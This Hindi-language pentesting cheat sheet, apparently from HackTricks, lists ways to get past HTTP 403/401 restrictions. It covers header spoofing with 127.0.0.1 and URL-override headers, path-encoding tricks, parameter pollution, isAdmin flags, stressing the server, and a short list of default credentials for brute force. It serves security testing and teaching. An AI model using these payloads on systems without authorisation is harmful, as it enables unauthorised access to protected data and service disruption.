# 403 & 401 Bypasses {{#include ../../banners/hacktricks-training.md}} ## HTTP Verbs/Methods Fuzzing फाइल तक पहुँचने के लिए **विभिन्न क्रियाओं** का उपयोग करने की कोशिश करें: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK` - प्रतिक्रिया हेडर की जाँच करें, शायद कुछ जानकारी दी जा सकती है। उदाहरण के लिए, **HEAD** के लिए **200 प्रतिक्रिया** जिसमें `Content-Length: 55` है, का मतलब है कि **HEAD क्रिया जानकारी तक पहुँच सकती है**। लेकिन आपको अभी भी उस जानकारी को निकालने का एक तरीका खोजना होगा। - `X-HTTP-Method-Override: PUT` जैसे HTTP हेडर का उपयोग करने से उपयोग की गई क्रिया को ओवरराइट किया जा सकता है। - **`TRACE`** क्रिया का उपयोग करें और यदि आप बहुत भाग्यशाली हैं तो शायद प्रतिक्रिया में आप **मध्यवर्ती प्रॉक्सी द्वारा जोड़े गए हेडर** भी देख सकते हैं जो उपयोगी हो सकते हैं। ## HTTP Headers Fuzzing - **Host हेडर** को किसी मनमाने मान में बदलें ([यहाँ काम किया](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31)) - संसाधन तक पहुँचने के लिए [**अन्य उपयोगकर्ता एजेंटों का उपयोग करने की कोशिश करें**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt)। - **HTTP हेडर को फज़ करें**: HTTP प्रॉक्सी **हेडर**, HTTP प्रमाणीकरण बेसिक और NTLM ब्रूट-फोर्स (केवल कुछ संयोजनों के साथ) और अन्य तकनीकों का उपयोग करने की कोशिश करें। इसके लिए मैंने उपकरण [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) बनाया है। - `X-Originating-IP: 127.0.0.1` - `X-Forwarded-For: 127.0.0.1` - `X-Forwarded: 127.0.0.1` - `Forwarded-For: 127.0.0.1` - `X-Remote-IP: 127.0.0.1` - `X-Remote-Addr: 127.0.0.1` - `X-ProxyUser-Ip: 127.0.0.1` - `X-Original-URL: 127.0.0.1` - `Client-IP: 127.0.0.1` - `True-Client-IP: 127.0.0.1` - `Cluster-Client-IP: 127.0.0.1` - `X-ProxyUser-Ip: 127.0.0.1` - `Host: localhost` यदि **पथ सुरक्षित है** तो आप इन अन्य हेडरों का उपयोग करके पथ सुरक्षा को बायपास करने की कोशिश कर सकते हैं: - `X-Original-URL: /admin/console` - `X-Rewrite-URL: /admin/console` - यदि पृष्ठ **प्रॉक्सी के पीछे है**, तो शायद प्रॉक्सी आपको निजी जानकारी तक पहुँचने से रोक रही है। [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/index.html) **या** [**hop-by-hop हेडर**](../../pentesting-web/abusing-hop-by-hop-headers.md)** का दुरुपयोग करने की कोशिश करें।** - विभिन्न प्रतिक्रियाओं की तलाश में [**विशेष HTTP हेडर**](special-http-headers.md) को फज़ करें। - **HTTP विधियों** को फज़ करते समय विशेष HTTP हेडर को फज़ करें। - **Host हेडर को हटा दें** और शायद आप सुरक्षा को बायपास करने में सक्षम होंगे। ## Path **Fuzzing** यदि _/path_ अवरुद्ध है: - `/%2e/path` का उपयोग करने की कोशिश करें (यदि पहुँच प्रॉक्सी द्वारा अवरुद्ध है, तो यह सुरक्षा को बायपास कर सकता है)। `/%252e**/path` (डबल URL एन्कोड) का भी प्रयास करें। - **Unicode बायपास** का प्रयास करें: _/**%ef%bc%8f**path_ (URL एन्कोडेड वर्ण जैसे "/" हैं) इसलिए जब इसे फिर से एन्कोड किया जाएगा तो यह _//path_ होगा और शायद आप पहले से ही _/path_ नाम की जाँच को बायपास कर चुके होंगे। - **अन्य पथ बायपास**: - site.com/secret –> HTTP 403 Forbidden - site.com/SECRET –> HTTP 200 OK - site.com/secret/ –> HTTP 200 OK - site.com/secret/. –> HTTP 200 OK - site.com//secret// –> HTTP 200 OK - site.com/./secret/.. –> HTTP 200 OK - site.com/;/secret –> HTTP 200 OK - site.com/.;/secret –> HTTP 200 OK - site.com//;//secret –> HTTP 200 OK - site.com/secret.json –> HTTP 200 OK (ruby) - निम्नलिखित स्थितियों में [**इस सूची**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt) का उपयोग करें: - /FUZZsecret - /FUZZ/secret - /secretFUZZ - **अन्य API बायपास:** - /v3/users_data/1234 --> 403 Forbidden - /v1/users_data/1234 --> 200 OK - {“id”:111} --> 401 Unauthorized - {“id”:\[111]} --> 200 OK - {“id”:111} --> 401 Unauthorized - {“id”:{“id”:111\}} --> 200 OK - {"user_id":"\","user_id":"\"} (JSON Parameter Pollution) - user_id=ATTACKER_ID\&user_id=VICTIM_ID (Parameter Pollution) ## **Parameter Manipulation** - **param मान** बदलें: **`id=123` --> `id=124`** - URL में अतिरिक्त पैरामीटर जोड़ें: `?`**`id=124` —-> `id=124&isAdmin=true`** - पैरामीटर हटा दें - पैरामीटर का क्रम बदलें - विशेष वर्णों का उपयोग करें। - पैरामीटर में सीमा परीक्षण करें — जैसे _-234_ या _0_ या _99999999_ (केवल कुछ उदाहरण मान) प्रदान करें। ## **Protocol version** यदि HTTP/1.1 का उपयोग कर रहे हैं तो **1.0** का उपयोग करने की कोशिश करें या यह **2.0** का समर्थन करता है या नहीं, इसका परीक्षण करें। ## **Other Bypasses** - डोमेन का **IP** या **CNAME** प्राप्त करें और **प्रत्यक्ष संपर्क करने** की कोशिश करें। - सामान्य GET अनुरोध भेजकर सर्वर को **तनाव में डालने** की कोशिश करें ([यह इस व्यक्ति के लिए फेसबुक के साथ काम किया](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125))। - **प्रोटोकॉल बदलें**: http से https में, या https से http में - [**https://archive.org/web/**](https://archive.org/web/) पर जाएं और जांचें कि क्या अतीत में वह फ़ाइल **विश्व स्तर पर सुलभ** थी। ## **Brute Force** - **पासवर्ड का अनुमान लगाएं**: निम्नलिखित सामान्य क्रेडेंशियल्स का परीक्षण करें। क्या आप पीड़ित के बारे में कुछ जानते हैं? या CTF चुनौती का नाम? - [**Brute force**](../../generic-hacking/brute-force.md#http-brute)**:** मूल, डाइजेस्ट और NTLM प्रमाणीकरण का प्रयास करें। ```:Common creds admin admin admin password admin 1234 admin admin1234 admin 123456 root toor test test guest guest ``` ## Automatic Tools - [https://github.com/lobuhi/byp4xx](https://github.com/lobuhi/byp4xx) - [https://github.com/iamj0ker/bypass-403](https://github.com/iamj0ker/bypass-403) - [https://github.com/gotr00t0day/forbiddenpass](https://github.com/gotr00t0day/forbiddenpass) - [Burp Extension - 403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122) - [Forbidden Buster](https://github.com/Sn1r/Forbidden-Buster) - [NoMoreForbidden](https://github.com/akinerk/NoMoreForbidden) {{#include ../../banners/hacktricks-training.md}}